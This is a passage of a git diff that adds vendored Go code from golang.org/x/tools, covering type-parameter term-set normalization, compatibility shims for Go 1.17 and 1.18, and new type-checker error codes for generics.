embeddings. A structural restriction is normalized +// if it is a single union containing no interface terms, and is minimal in the +// sense that removing any term changes the set of types satisfying the +// constraint. It is left as a proof for the reader that, modulo sorting, there +// is exactly one such normalized form. +// +// Because the minimal representation always takes this form, StructuralTerms +// returns a slice of tilde terms corresponding to the terms of the union in +// the normalized structural restriction. An error is returned if the +// constraint interface is invalid, exceeds complexity bounds, or has an empty +// type set. In the latter case, StructuralTerms returns ErrEmptyTypeSet. +// +// StructuralTerms makes no guarantees about the order of terms, except that it +// is deterministic. +func StructuralTerms(tparam *TypeParam) ([]*Term, error) { + constraint := tparam.Constraint() + if constraint == nil { + return nil, fmt.Errorf("%s has nil constraint", tparam) + } + iface, _ := constraint.Underlying().(*types.Interface) + if iface == nil { + return nil, fmt.Errorf("constraint is %T, not *types.Interface", constraint.Underlying()) + } + return InterfaceTermSet(iface) +} + +// InterfaceTermSet computes the normalized terms for a constraint interface, +// returning an error if the term set cannot be computed or is empty. In the +// latter case, the error will be ErrEmptyTypeSet. +// +// See the documentation of StructuralTerms for more information on +// normalization. +func InterfaceTermSet(iface *types.Interface) ([]*Term, error) { + return computeTermSet(iface) +} + +// UnionTermSet computes the normalized terms for a union, returning an error +// if the term set cannot be computed or is empty. In the latter case, the +// error will be ErrEmptyTypeSet. +// +// See the documentation of StructuralTerms for more information on +// normalization. +func UnionTermSet(union *Union) ([]*Term, error) { + return computeTermSet(union) +} + +func computeTermSet(typ types.Type) ([]*Term, error) { + tset, err := computeTermSetInternal(typ, make(map[types.Type]*termSet), 0) + if err != nil { + return nil, err + } + if tset.terms.isEmpty() { + return nil, ErrEmptyTypeSet + } + if tset.terms.isAll() { + return nil, nil + } + var terms []*Term + for _, term := range tset.terms { + terms = append(terms, NewTerm(term.tilde, term.typ)) + } + return terms, nil +} + +// A termSet holds the normalized set of terms for a given type. +// +// The name termSet is intentionally distinct from 'type set': a type set is +// all types that implement a type (and includes method restrictions), whereas +// a term set just represents the structural restrictions on a type. +type termSet struct { + complete bool + terms termlist +} + +func indentf(depth int, format string, args ...interface{}) { + fmt.Fprintf(os.Stderr, strings.Repeat(".", depth)+format+"\n", args...) +} + +func computeTermSetInternal(t types.Type, seen map[types.Type]*termSet, depth int) (res *termSet, err error) { + if t == nil { + panic("nil type") + } + + if debug { + indentf(depth, "%s", t.String()) + defer func() { + if err != nil { + indentf(depth, "=> %s", err) + } else { + indentf(depth, "=> %s", res.terms.String()) + } + }() + } + + const maxTermCount = 100 + if tset, ok := seen[t]; ok { + if !tset.complete { + return nil, fmt.Errorf("cycle detected in the declaration of %s", t) + } + return tset, nil + } + + // Mark the current type as seen to avoid infinite recursion. + tset := new(termSet) + defer func() { + tset.complete = true + }() + seen[t] = tset + + switch u := t.Underlying().(type) { + case *types.Interface: + // The term set of an interface is the intersection of the term sets of its + // embedded types. + tset.terms = allTermlist + for i := 0; i < u.NumEmbeddeds(); i++ { + embedded := u.EmbeddedType(i) + if _, ok := embedded.Underlying().(*TypeParam); ok { + return nil, fmt.Errorf("invalid embedded type %T", embedded) + } + tset2, err := computeTermSetInternal(embedded, seen, depth+1) + if err != nil { + return nil, err + } + tset.terms = tset.terms.intersect(tset2.terms) + } + case *Union: + // The term set of a union is the union of term sets of its terms. + tset.terms = nil + for i := 0; i < u.Len(); i++ { + t := u.Term(i) + var terms termlist + switch t.Type().Underlying().(type) { + case *types.Interface: + tset2, err := computeTermSetInternal(t.Type(), seen, depth+1) + if err != nil { + return nil, err + } + terms = tset2.terms + case *TypeParam, *Union: + // A stand-alone type parameter or union is not permitted as union + // term. + return nil, fmt.Errorf("invalid union term %T", t) + default: + if t.Type() == types.Typ[types.Invalid] { + continue + } + terms = termlist{{t.Tilde(), t.Type()}} + } + tset.terms = tset.terms.union(terms) + if len(tset.terms) > maxTermCount { + return nil, fmt.Errorf("exceeded max term count %d", maxTermCount) + } + } + case *TypeParam: + panic("unreachable") + default: + // For all other types, the term set is just a single non-tilde term + // holding the type itself. + if u != types.Typ[types.Invalid] { + tset.terms = termlist{{false, t}} + } + } + return tset, nil +} + +// under is a facade for the go/types internal function of the same name. It is +// used by typeterm.go. +func under(t types.Type) types.Type { + return t.Underlying() +} diff --git a/vendor/golang.org/x/tools/internal/typeparams/termlist.go b/vendor/golang.org/x/tools/internal/typeparams/termlist.go new file mode 100644 index 000000000..933106a23 --- /dev/null +++ b/vendor/golang.org/x/tools/internal/typeparams/termlist.go @@ -0,0 +1,163 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +// Code generated by copytermlist.go DO NOT EDIT. + +package typeparams + +import ( + "bytes" + "go/types" +) + +// A termlist represents the type set represented by the union +// t1 ∪ y2 ∪ ... tn of the type sets of the terms t1 to tn. +// A termlist is in normal form if all terms are disjoint. +// termlist operations don't require the operands to be in +// normal form. +type termlist []*term + +// allTermlist represents the set of all types. +// It is in normal form. +var allTermlist = termlist{new(term)} + +// String prints the termlist exactly (without normalization). +func (xl termlist) String() string { + if len(xl) == 0 { + return "∅" + } + var buf bytes.Buffer + for i, x := range xl { + if i > 0 { + buf.WriteString(" ∪ ") + } + buf.WriteString(x.String()) + } + return buf.String() +} + +// isEmpty reports whether the termlist xl represents the empty set of types. +func (xl termlist) isEmpty() bool { + // If there's a non-nil term, the entire list is not empty. + // If the termlist is in normal form, this requires at most + // one iteration. + for _, x := range xl { + if x != nil { + return false + } + } + return true +} + +// isAll reports whether the termlist xl represents the set of all types. +func (xl termlist) isAll() bool { + // If there's a 𝓤 term, the entire list is 𝓤. + // If the termlist is in normal form, this requires at most + // one iteration. + for _, x := range xl { + if x != nil && x.typ == nil { + return true + } + } + return false +} + +// norm returns the normal form of xl. +func (xl termlist) norm() termlist { + // Quadratic algorithm, but good enough for now. + // TODO(gri) fix asymptotic performance + used := make([]bool, len(xl)) + var rl termlist + for i, xi := range xl { + if xi == nil || used[i] { + continue + } + for j := i + 1; j < len(xl); j++ { + xj := xl[j] + if xj == nil || used[j] { + continue + } + if u1, u2 := xi.union(xj); u2 == nil { + // If we encounter a 𝓤 term, the entire list is 𝓤. + // Exit early. + // (Note that this is not just an optimization; + // if we continue, we may end up with a 𝓤 term + // and other terms and the result would not be + // in normal form.) + if u1.typ == nil { + return allTermlist + } + xi = u1 + used[j] = true // xj is now unioned into xi - ignore it in future iterations + } + } + rl = append(rl, xi) + } + return rl +} + +// union returns the union xl ∪ yl. +func (xl termlist) union(yl termlist) termlist { + return append(xl, yl...).norm() +} + +// intersect returns the intersection xl ∩ yl. +func (xl termlist) intersect(yl termlist) termlist { + if xl.isEmpty() || yl.isEmpty() { + return nil + } + + // Quadratic algorithm, but good enough for now. + // TODO(gri) fix asymptotic performance + var rl termlist + for _, x := range xl { + for _, y := range yl { + if r := x.intersect(y); r != nil { + rl = append(rl, r) + } + } + } + return rl.norm() +} + +// equal reports whether xl and yl represent the same type set. +func (xl termlist) equal(yl termlist) bool { + // TODO(gri) this should be more efficient + return xl.subsetOf(yl) && yl.subsetOf(xl) +} + +// includes reports whether t ∈ xl. +func (xl termlist) includes(t types.Type) bool { + for _, x := range xl { + if x.includes(t) { + return true + } + } + return false +} + +// supersetOf reports whether y ⊆ xl. +func (xl termlist) supersetOf(y *term) bool { + for _, x := range xl { + if y.subsetOf(x) { + return true + } + } + return false +} + +// subsetOf reports whether xl ⊆ yl. +func (xl termlist) subsetOf(yl termlist) bool { + if yl.isEmpty() { + return xl.isEmpty() + } + + // each term x of xl must be a subset of yl + for _, x := range xl { + if !yl.supersetOf(x) { + return false // x is not a subset yl + } + } + return true +} diff --git a/vendor/golang.org/x/tools/internal/typeparams/typeparams_go117.go b/vendor/golang.org/x/tools/internal/typeparams/typeparams_go117.go new file mode 100644 index 000000000..b4788978f --- /dev/null +++ b/vendor/golang.org/x/tools/internal/typeparams/typeparams_go117.go @@ -0,0 +1,197 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build !go1.18 +// +build !go1.18 + +package typeparams + +import ( + "go/ast" + "go/token" + "go/types" +) + +func unsupported() { + panic("type parameters are unsupported at this go version") +} + +// IndexListExpr is a placeholder type, as type parameters are not supported at +// this Go version. Its methods panic on use. +type IndexListExpr struct { + ast.Expr + X ast.Expr // expression + Lbrack token.Pos // position of "[" + Indices []ast.Expr // index expressions + Rbrack token.Pos // position of "]" +} + +// ForTypeSpec returns an empty field list, as type parameters on not supported +// at this Go version. +func ForTypeSpec(*ast.TypeSpec) *ast.FieldList { + return nil +} + +// ForFuncType returns an empty field list, as type parameters are not +// supported at this Go version. +func ForFuncType(*ast.FuncType) *ast.FieldList { + return nil +} + +// TypeParam is a placeholder type, as type parameters are not supported at +// this Go version. Its methods panic on use. +type TypeParam struct{ types.Type } + +func (*TypeParam) Index() int { unsupported(); return 0 } +func (*TypeParam) Constraint() types.Type { unsupported(); return nil } +func (*TypeParam) Obj() *types.TypeName { unsupported(); return nil } + +// TypeParamList is a placeholder for an empty type parameter list. +type TypeParamList struct{} + +func (*TypeParamList) Len() int { return 0 } +func (*TypeParamList) At(int) *TypeParam { unsupported(); return nil } + +// TypeList is a placeholder for an empty type list. +type TypeList struct{} + +func (*TypeList) Len() int { return 0 } +func (*TypeList) At(int) types.Type { unsupported(); return nil } + +// NewTypeParam is unsupported at this Go version, and panics. +func NewTypeParam(name *types.TypeName, constraint types.Type) *TypeParam { + unsupported() + return nil +} + +// SetTypeParamConstraint is unsupported at this Go version, and panics. +func SetTypeParamConstraint(tparam *TypeParam, constraint types.Type) { + unsupported() +} + +// NewSignatureType calls types.NewSignature, panicking if recvTypeParams or +// typeParams is non-empty. +func NewSignatureType(recv *types.Var, recvTypeParams, typeParams []*TypeParam, params, results *types.Tuple, variadic bool) *types.Signature { + if len(recvTypeParams) != 0 || len(typeParams) != 0 { + panic("signatures cannot have type parameters at this Go version") + } + return types.NewSignature(recv, params, results, variadic) +} + +// ForSignature returns an empty slice. +func ForSignature(*types.Signature) *TypeParamList { + return nil +} + +// RecvTypeParams returns a nil slice. +func RecvTypeParams(sig *types.Signature) *TypeParamList { + return nil +} + +// IsComparable returns false, as no interfaces are type-restricted at this Go +// version. +func IsComparable(*types.Interface) bool { + return false +} + +// IsMethodSet returns true, as no interfaces are type-restricted at this Go +// version. +func IsMethodSet(*types.Interface) bool { + return true +} + +// IsImplicit returns false, as no interfaces are implicit at this Go version. +func IsImplicit(*types.Interface) bool { + return false +} + +// MarkImplicit does nothing, because this Go version does not have implicit +// interfaces. +func MarkImplicit(*types.Interface) {} + +// ForNamed returns an empty type parameter list, as type parameters are not +// supported at this Go version. +func ForNamed(*types.Named) *TypeParamList { + return nil +} + +// SetForNamed panics if tparams is non-empty. +func SetForNamed(_ *types.Named, tparams []*TypeParam) { + if len(tparams) > 0 { + unsupported() + } +} + +// NamedTypeArgs returns nil. +func NamedTypeArgs(*types.Named) *TypeList { + return nil +} + +// NamedTypeOrigin is the identity method at this Go version. +func NamedTypeOrigin(named *types.Named) types.Type { + return named +} + +// Term holds information about a structural type restriction. +type Term struct { + tilde bool + typ types.Type +} + +func (m *Term) Tilde() bool { return m.tilde } +func (m *Term) Type() types.Type { return m.typ } +func (m *Term) String() string { + pre := "" + if m.tilde { + pre = "~" + } + return pre + m.typ.String() +} + +// NewTerm is unsupported at this Go version, and panics. +func NewTerm(tilde bool, typ types.Type) *Term { + return &Term{tilde, typ} +} + +// Union is a placeholder type, as type parameters are not supported at this Go +// version. Its methods panic on use. +type Union struct{ types.Type } + +func (*Union) Len() int { return 0 } +func (*Union) Term(i int) *Term { unsupported(); return nil } + +// NewUnion is unsupported at this Go version, and panics. +func NewUnion(terms []*Term) *Union { + unsupported() + return nil +} + +// InitInstanceInfo is a noop at this Go version. +func InitInstanceInfo(*types.Info) {} + +// Instance is a placeholder type, as type parameters are not supported at this +// Go version. +type Instance struct { + TypeArgs *TypeList + Type types.Type +} + +// GetInstances returns a nil map, as type parameters are not supported at this +// Go version. +func GetInstances(info *types.Info) map[*ast.Ident]Instance { return nil } + +// Context is a placeholder type, as type parameters are not supported at +// this Go version. +type Context struct{} + +// NewContext returns a placeholder Context instance. +func NewContext() *Context { + return &Context{} +} + +// Instantiate is unsupported on this Go version, and panics. +func Instantiate(ctxt *Context, typ types.Type, targs []types.Type, validate bool) (types.Type, error) { + unsupported() + return nil, nil +} diff --git a/vendor/golang.org/x/tools/internal/typeparams/typeparams_go118.go b/vendor/golang.org/x/tools/internal/typeparams/typeparams_go118.go new file mode 100644 index 000000000..114a36b86 --- /dev/null +++ b/vendor/golang.org/x/tools/internal/typeparams/typeparams_go118.go @@ -0,0 +1,151 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build go1.18 +// +build go1.18 + +package typeparams + +import ( + "go/ast" + "go/types" +) + +// IndexListExpr is an alias for ast.IndexListExpr. +type IndexListExpr = ast.IndexListExpr + +// ForTypeSpec returns n.TypeParams. +func ForTypeSpec(n *ast.TypeSpec) *ast.FieldList { + if n == nil { + return nil + } + return n.TypeParams +} + +// ForFuncType returns n.TypeParams. +func ForFuncType(n *ast.FuncType) *ast.FieldList { + if n == nil { + return nil + } + return n.TypeParams +} + +// TypeParam is an alias for types.TypeParam +type TypeParam = types.TypeParam + +// TypeParamList is an alias for types.TypeParamList +type TypeParamList = types.TypeParamList + +// TypeList is an alias for types.TypeList +type TypeList = types.TypeList + +// NewTypeParam calls types.NewTypeParam. +func NewTypeParam(name *types.TypeName, constraint types.Type) *TypeParam { + return types.NewTypeParam(name, constraint) +} + +// SetTypeParamConstraint calls tparam.SetConstraint(constraint). +func SetTypeParamConstraint(tparam *TypeParam, constraint types.Type) { + tparam.SetConstraint(constraint) +} + +// NewSignatureType calls types.NewSignatureType. +func NewSignatureType(recv *types.Var, recvTypeParams, typeParams []*TypeParam, params, results *types.Tuple, variadic bool) *types.Signature { + return types.NewSignatureType(recv, recvTypeParams, typeParams, params, results, variadic) +} + +// ForSignature returns sig.TypeParams() +func ForSignature(sig *types.Signature) *TypeParamList { + return sig.TypeParams() +} + +// RecvTypeParams returns sig.RecvTypeParams(). +func RecvTypeParams(sig *types.Signature) *TypeParamList { + return sig.RecvTypeParams() +} + +// IsComparable calls iface.IsComparable(). +func IsComparable(iface *types.Interface) bool { + return iface.IsComparable() +} + +// IsMethodSet calls iface.IsMethodSet(). +func IsMethodSet(iface *types.Interface) bool { + return iface.IsMethodSet() +} + +// IsImplicit calls iface.IsImplicit(). +func IsImplicit(iface *types.Interface) bool { + return iface.IsImplicit() +} + +// MarkImplicit calls iface.MarkImplicit(). +func MarkImplicit(iface *types.Interface) { + iface.MarkImplicit() +} + +// ForNamed extracts the (possibly empty) type parameter object list from +// named. +func ForNamed(named *types.Named) *TypeParamList { + return named.TypeParams() +} + +// SetForNamed sets the type params tparams on n. Each tparam must be of +// dynamic type *types.TypeParam. +func SetForNamed(n *types.Named, tparams []*TypeParam) { + n.SetTypeParams(tparams) +} + +// NamedTypeArgs returns named.TypeArgs(). +func NamedTypeArgs(named *types.Named) *TypeList { + return named.TypeArgs() +} + +// NamedTypeOrigin returns named.Orig(). +func NamedTypeOrigin(named *types.Named) types.Type { + return named.Origin() +} + +// Term is an alias for types.Term. +type Term = types.Term + +// NewTerm calls types.NewTerm. +func NewTerm(tilde bool, typ types.Type) *Term { + return types.NewTerm(tilde, typ) +} + +// Union is an alias for types.Union +type Union = types.Union + +// NewUnion calls types.NewUnion. +func NewUnion(terms []*Term) *Union { + return types.NewUnion(terms) +} + +// InitInstanceInfo initializes info to record information about type and +// function instances. +func InitInstanceInfo(info *types.Info) { + info.Instances = make(map[*ast.Ident]types.Instance) +} + +// Instance is an alias for types.Instance. +type Instance = types.Instance + +// GetInstances returns info.Instances. +func GetInstances(info *types.Info) map[*ast.Ident]Instance { + return info.Instances +} + +// Context is an alias for types.Context. +type Context = types.Context + +// NewContext calls types.NewContext. +func NewContext() *Context { + return types.NewContext() +} + +// Instantiate calls types.Instantiate. +func Instantiate(ctxt *Context, typ types.Type, targs []types.Type, validate bool) (types.Type, error) { + return types.Instantiate(ctxt, typ, targs, validate) +} diff --git a/vendor/golang.org/x/tools/internal/typeparams/typeterm.go b/vendor/golang.org/x/tools/internal/typeparams/typeterm.go new file mode 100644 index 000000000..7ddee28d9 --- /dev/null +++ b/vendor/golang.org/x/tools/internal/typeparams/typeterm.go @@ -0,0 +1,170 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +// Code generated by copytermlist.go DO NOT EDIT. + +package typeparams + +import "go/types" + +// A term describes elementary type sets: +// +// ∅: (*term)(nil) == ∅ // set of no types (empty set) +// 𝓤: &term{} == 𝓤 // set of all types (𝓤niverse) +// T: &term{false, T} == {T} // set of type T +// ~t: &term{true, t} == {t' | under(t') == t} // set of types with underlying type t +// +type term struct { + tilde bool // valid if typ != nil + typ types.Type +} + +func (x *term) String() string { + switch { + case x == nil: + return "∅" + case x.typ == nil: + return "𝓤" + case x.tilde: + return "~" + x.typ.String() + default: + return x.typ.String() + } +} + +// equal reports whether x and y represent the same type set. +func (x *term) equal(y *term) bool { + // easy cases + switch { + case x == nil || y == nil: + return x == y + case x.typ == nil || y.typ == nil: + return x.typ == y.typ + } + // ∅ ⊂ x, y ⊂ 𝓤 + + return x.tilde == y.tilde && types.Identical(x.typ, y.typ) +} + +// union returns the union x ∪ y: zero, one, or two non-nil terms. +func (x *term) union(y *term) (_, _ *term) { + // easy cases + switch { + case x == nil && y == nil: + return nil, nil // ∅ ∪ ∅ == ∅ + case x == nil: + return y, nil // ∅ ∪ y == y + case y == nil: + return x, nil // x ∪ ∅ == x + case x.typ == nil: + return x, nil // 𝓤 ∪ y == 𝓤 + case y.typ == nil: + return y, nil // x ∪ 𝓤 == 𝓤 + } + // ∅ ⊂ x, y ⊂ 𝓤 + + if x.disjoint(y) { + return x, y // x ∪ y == (x, y) if x ∩ y == ∅ + } + // x.typ == y.typ + + // ~t ∪ ~t == ~t + // ~t ∪ T == ~t + // T ∪ ~t == ~t + // T ∪ T == T + if x.tilde || !y.tilde { + return x, nil + } + return y, nil +} + +// intersect returns the intersection x ∩ y. +func (x *term) intersect(y *term) *term { + // easy cases + switch { + case x == nil || y == nil: + return nil // ∅ ∩ y == ∅ and ∩ ∅ == ∅ + case x.typ == nil: + return y // 𝓤 ∩ y == y + case y.typ == nil: + return x // x ∩ 𝓤 == x + } + // ∅ ⊂ x, y ⊂ 𝓤 + + if x.disjoint(y) { + return nil // x ∩ y == ∅ if x ∩ y == ∅ + } + // x.typ == y.typ + + // ~t ∩ ~t == ~t + // ~t ∩ T == T + // T ∩ ~t == T + // T ∩ T == T + if !x.tilde || y.tilde { + return x + } + return y +} + +// includes reports whether t ∈ x. +func (x *term) includes(t types.Type) bool { + // easy cases + switch { + case x == nil: + return false // t ∈ ∅ == false + case x.typ == nil: + return true // t ∈ 𝓤 == true + } + // ∅ ⊂ x ⊂ 𝓤 + + u := t + if x.tilde { + u = under(u) + } + return types.Identical(x.typ, u) +} + +// subsetOf reports whether x ⊆ y. +func (x *term) subsetOf(y *term) bool { + // easy cases + switch { + case x == nil: + return true // ∅ ⊆ y == true + case y == nil: + return false // x ⊆ ∅ == false since x != ∅ + case y.typ == nil: + return true // x ⊆ 𝓤 == true + case x.typ == nil: + return false // 𝓤 ⊆ y == false since y != 𝓤 + } + // ∅ ⊂ x, y ⊂ 𝓤 + + if x.disjoint(y) { + return false // x ⊆ y == false if x ∩ y == ∅ + } + // x.typ == y.typ + + // ~t ⊆ ~t == true + // ~t ⊆ T == false + // T ⊆ ~t == true + // T ⊆ T == true + return !x.tilde || y.tilde +} + +// disjoint reports whether x ∩ y == ∅. +// x.typ and y.typ must not be nil. +func (x *term) disjoint(y *term) bool { + if debug && (x.typ == nil || y.typ == nil) { + panic("invalid argument(s)") + } + ux := x.typ + if y.tilde { + ux = under(ux) + } + uy := y.typ + if x.tilde { + uy = under(uy) + } + return !types.Identical(ux, uy) +} diff --git a/vendor/golang.org/x/tools/internal/typesinternal/errorcode.go b/vendor/golang.org/x/tools/internal/typesinternal/errorcode.go index fa2834e2a..d38ee3c27 100644 --- a/vendor/golang.org/x/tools/internal/typesinternal/errorcode.go +++ b/vendor/golang.org/x/tools/internal/typesinternal/errorcode.go @@ -1365,4 +1365,162 @@ const ( // return i // } InvalidGo + + // All codes below were added in Go 1.17. + + /* decl */ + + // BadDecl occurs when a declaration has invalid syntax. + BadDecl + + // RepeatedDecl occurs when an identifier occurs more than once on the left + // hand side of a short variable declaration. + // + // Example: + // func _() { + // x, y, y := 1, 2, 3 + // } + RepeatedDecl + + /* unsafe */ + + // InvalidUnsafeAdd occurs when unsafe.Add is called with a + // length argument that is not of integer type. + // + // Example: + // import "unsafe" + // + // var p unsafe.Pointer + // var _ = unsafe.Add(p, float64(1)) + InvalidUnsafeAdd + + // InvalidUnsafeSlice occurs when unsafe.Slice is called with a + // pointer argument that is not of pointer type or a length argument + // that is not of integer type, negative, or out of bounds. + // + // Example: + // import "unsafe" + // + // var x int + // var _ = unsafe.Slice(x, 1) + // + // Example: + // import "unsafe" + // + // var x int + // var _ = unsafe.Slice(&x, float64(1)) + // + // Example: + // import "unsafe" + // + // var x int + // var _ = unsafe.Slice(&x, -1) + // + // Example: + // import "unsafe" + // + // var x int + // var _ = unsafe.Slice(&x, uint64(1) << 63) + InvalidUnsafeSlice + + // All codes below were added in Go 1.18. + + /* features */ + + // UnsupportedFeature occurs when a language feature is used that is not + // supported at this Go version. + UnsupportedFeature + + /* type params */ + + // NotAGenericType occurs when a non-generic type is used where a generic + // type is expected: in type or function instantiation. + // + // Example: + // type T int + // + // var _ T[int] + NotAGenericType + + // WrongTypeArgCount occurs when a type or function is instantiated with an + // incorrent number of type arguments, including when a generic type or + // function is used without instantiation. + // + // Errors inolving failed type inference are assigned other error codes. + // + // Example: + // type T[p any] int + // + // var _ T[int, string] + // + // Example: + // func f[T any]() {} + // + // var x = f + WrongTypeArgCount + + // CannotInferTypeArgs occurs when type or function type argument inference + // fails to infer all type arguments. + // + // Example: + // func f[T any]() {} + // + // func _() { + // f() + // } + // + // Example: + // type N[P, Q any] struct{} + // + // var _ N[int] + CannotInferTypeArgs + + // InvalidTypeArg occurs when a type argument does not satisfy its + // corresponding type parameter constraints. + // + // Example: + // type T[P ~int] struct{} + // + // var _ T[string] + InvalidTypeArg // arguments? InferenceFailed + + // InvalidInstanceCycle occurs when an invalid cycle is detected + // within the instantiation graph. + // + // Example: + // func f[T any]() { f[*T]() } + InvalidInstanceCycle + + // InvalidUnion occurs when an embedded union or approximation element is + // not valid. + // + // Example: + // type _ interface { + // ~int | interface{ m() } + // } + InvalidUnion + + // MisplacedConstraintIface occurs when a constraint-type interface is used + // outside of constraint position. + // + // Example: + // type I interface { ~int } + // + // var _ I + MisplacedConstraintIface + + // InvalidMethodTypeParams occurs when methods have type parameters. + // + // It cannot be encountered with an AST parsed using go/parser. + InvalidMethodTypeParams + + // MisplacedTypeParam occurs when a type parameter is used in a place where + // it is not permitted. + // + // Example: + // type T[P any] P + // + // Example: + // type T[P any] struct{ *P } + MisplacedTypeParam ) diff --git a/vendor/golang.org/x/tools/internal/typesinternal/errorcode_string.go b/vendor/golang.org/x/tools/internal/typesinternal/errorcode_string.go index 3e5842a5f..de90e9515 100644 --- a/vendor/golang.org/x/tools/internal/typesinternal/errorcode_string.go +++ b/vendor/golang.org/x/tools/internal/typesinternal/errorcode_string.go @@ -138,11 +138,25 @@ func _() { _ = x[UnusedResults-128] _ = x[InvalidDefer-129] _ = x[InvalidGo-130] + _ = x[BadDecl-131] + _ = x[RepeatedDecl-132] + _ = x[InvalidUnsafeAdd-133] + _ = x[InvalidUnsafeSlice-134] + _ = x[UnsupportedFeature-135] + _ = x[NotAGenericType-136] + _ = x[WrongTypeArgCount-137] + _ = x[CannotInferTypeArgs-138] + _ = x[InvalidTypeArg-139] + _ = x[InvalidInstanceCycle-140] + _ = x[InvalidUnion-141] + _ = x[MisplacedConstraintIface-142] + _ = x[InvalidMethodTypeParams-143] + _ = x[MisplacedTypeParam-144] } -const _ErrorCode_name = "TestBlankPkgNameMismatchedPkgNameInvalidPkgUseBadImportPathBrokenImportImportCRenamedUnusedImportInvalidInitCycleDuplicateDeclInvalidDeclCycleInvalidTypeCycleInvalidConstInitInvalidConstValInvalidConstTypeUntypedNilWrongAssignCountUnassignableOperandNoNewVarMultiValAssignOpInvalidIfaceAssignInvalidChanAssignIncompatibleAssignUnaddressableFieldAssignNotATypeInvalidArrayLenBlankIfaceMethodIncomparableMapKeyInvalidIfaceEmbedInvalidPtrEmbedBadRecvInvalidRecvDuplicateFieldAndMethodDuplicateMethodInvalidBlankInvalidIotaMissingInitBodyInvalidInitSigInvalidInitDeclInvalidMainDeclTooManyValuesNotAnExprTruncatedFloatNumericOverflowUndefinedOpMismatchedTypesDivByZeroNonNumericIncDecUnaddressableOperandInvalidIndirectionNonIndexableOperandInvalidIndexSwappedSliceIndicesNonSliceableOperandInvalidSliceExprInvalidShiftCountInvalidShiftOperandInvalidReceiveInvalidSendDuplicateLitKeyMissingLitKeyInvalidLitIndexOversizeArrayLitMixedStructLitInvalidStructLitMissingLitFieldDuplicateLitFieldUnexportedLitFieldInvalidLitFieldUntypedLitInvalidLitAmbiguousSelectorUndeclaredImportedNameUnexportedNameUndeclaredNameMissingFieldOrMethodBadDotDotDotSyntaxNonVariadicDotDotDotMisplacedDotDotDotInvalidDotDotDotOperandInvalidDotDotDotUncalledBuiltinInvalidAppendInvalidCapInvalidCloseInvalidCopyInvalidComplexInvalidDeleteInvalidImagInvalidLenSwappedMakeArgsInvalidMakeInvalidRealInvalidAssertImpossibleAssertInvalidConversionInvalidUntypedConversionBadOffsetofSyntaxInvalidOffsetofUnusedExprUnusedVarMissingReturnWrongResultCountOutOfScopeResultInvalidCondInvalidPostDeclInvalidChanRangeInvalidIterVarInvalidRangeExprMisplacedBreakMisplacedContinueMisplacedFallthroughDuplicateCaseDuplicateDefaultBadTypeKeywordInvalidTypeSwitchInvalidExprSwitchInvalidSelectCaseUndeclaredLabelDuplicateLabelMisplacedLabelUnusedLabelJumpOverDeclJumpIntoBlockInvalidMethodExprWrongArgCountInvalidCallUnusedResultsInvalidDeferInvalidGo" +const _ErrorCode_name = "TestBlankPkgNameMismatchedPkgNameInvalidPkgUseBadImportPathBrokenImportImportCRenamedUnusedImportInvalidInitCycleDuplicateDeclInvalidDeclCycleInvalidTypeCycleInvalidConstInitInvalidConstValInvalidConstTypeUntypedNilWrongAssignCountUnassignableOperandNoNewVarMultiValAssignOpInvalidIfaceAssignInvalidChanAssignIncompatibleAssignUnaddressableFieldAssignNotATypeInvalidArrayLenBlankIfaceMethodIncomparableMapKeyInvalidIfaceEmbedInvalidPtrEmbedBadRecvInvalidRecvDuplicateFieldAndMethodDuplicateMethodInvalidBlankInvalidIotaMissingInitBodyInvalidInitSigInvalidInitDeclInvalidMainDeclTooManyValuesNotAnExprTruncatedFloatNumericOverflowUndefinedOpMismatchedTypesDivByZeroNonNumericIncDecUnaddressableOperandInvalidIndirectionNonIndexableOperandInvalidIndexSwappedSliceIndicesNonSliceableOperandInvalidSliceExprInvalidShiftCountInvalidShiftOperandInvalidReceiveInvalidSendDuplicateLitKeyMissingLitKeyInvalidLitIndexOversizeArrayLitMixedStructLitInvalidStructLitMissingLitFieldDuplicateLitFieldUnexportedLitFieldInvalidLitFieldUntypedLitInvalidLitAmbiguousSelectorUndeclaredImportedNameUnexportedNameUndeclaredNameMissingFieldOrMethodBadDotDotDotSyntaxNonVariadicDotDotDotMisplacedDotDotDotInvalidDotDotDotOperandInvalidDotDotDotUncalledBuiltinInvalidAppendInvalidCapInvalidCloseInvalidCopyInvalidComplexInvalidDeleteInvalidImagInvalidLenSwappedMakeArgsInvalidMakeInvalidRealInvalidAssertImpossibleAssertInvalidConversionInvalidUntypedConversionBadOffsetofSyntaxInvalidOffsetofUnusedExprUnusedVarMissingReturnWrongResultCountOutOfScopeResultInvalidCondInvalidPostDeclInvalidChanRangeInvalidIterVarInvalidRangeExprMisplacedBreakMisplacedContinueMisplacedFallthroughDuplicateCaseDuplicateDefaultBadTypeKeywordInvalidTypeSwitchInvalidExprSwitchInvalidSelectCaseUndeclaredLabelDuplicateLabelMisplacedLabelUnusedLabelJumpOverDeclJumpIntoBlockInvalidMethodExprWrongArgCountInvalidCallUnusedResultsInvalidDeferInvalidGoBadDeclRepeatedDeclInvalidUnsafeAddInvalidUnsafeSliceUnsupportedFeatureNotAGenericTypeWrongTypeArgCountCannotInferTypeArgsInvalidTypeArgInvalidInstanceCycleInvalidUnionMisplacedConstraintIfaceInvalidMethodTypeParamsMisplacedTypeParam" -var _ErrorCode_index = [...]uint16{0, 4, 16, 33, 46, 59, 71, 85, 97, 113, 126, 142, 158, 174, 189, 205, 215, 231, 250, 258, 274, 292, 309, 327, 351, 359, 374, 390, 408, 425, 440, 447, 458, 481, 496, 508, 519, 534, 548, 563, 578, 591, 600, 614, 629, 640, 655, 664, 680, 700, 718, 737, 749, 768, 787, 803, 820, 839, 853, 864, 879, 892, 907, 923, 937, 953, 968, 985, 1003, 1018, 1028, 1038, 1055, 1077, 1091, 1105, 1125, 1143, 1163, 1181, 1204, 1220, 1235, 1248, 1258, 1270, 1281, 1295, 1308, 1319, 1329, 1344, 1355, 1366, 1379, 1395, 1412, 1436, 1453, 1468, 1478, 1487, 1500, 1516, 1532, 1543, 1558, 1574, 1588, 1604, 1618, 1635, 1655, 1668, 1684, 1698, 1715, 1732, 1749, 1764, 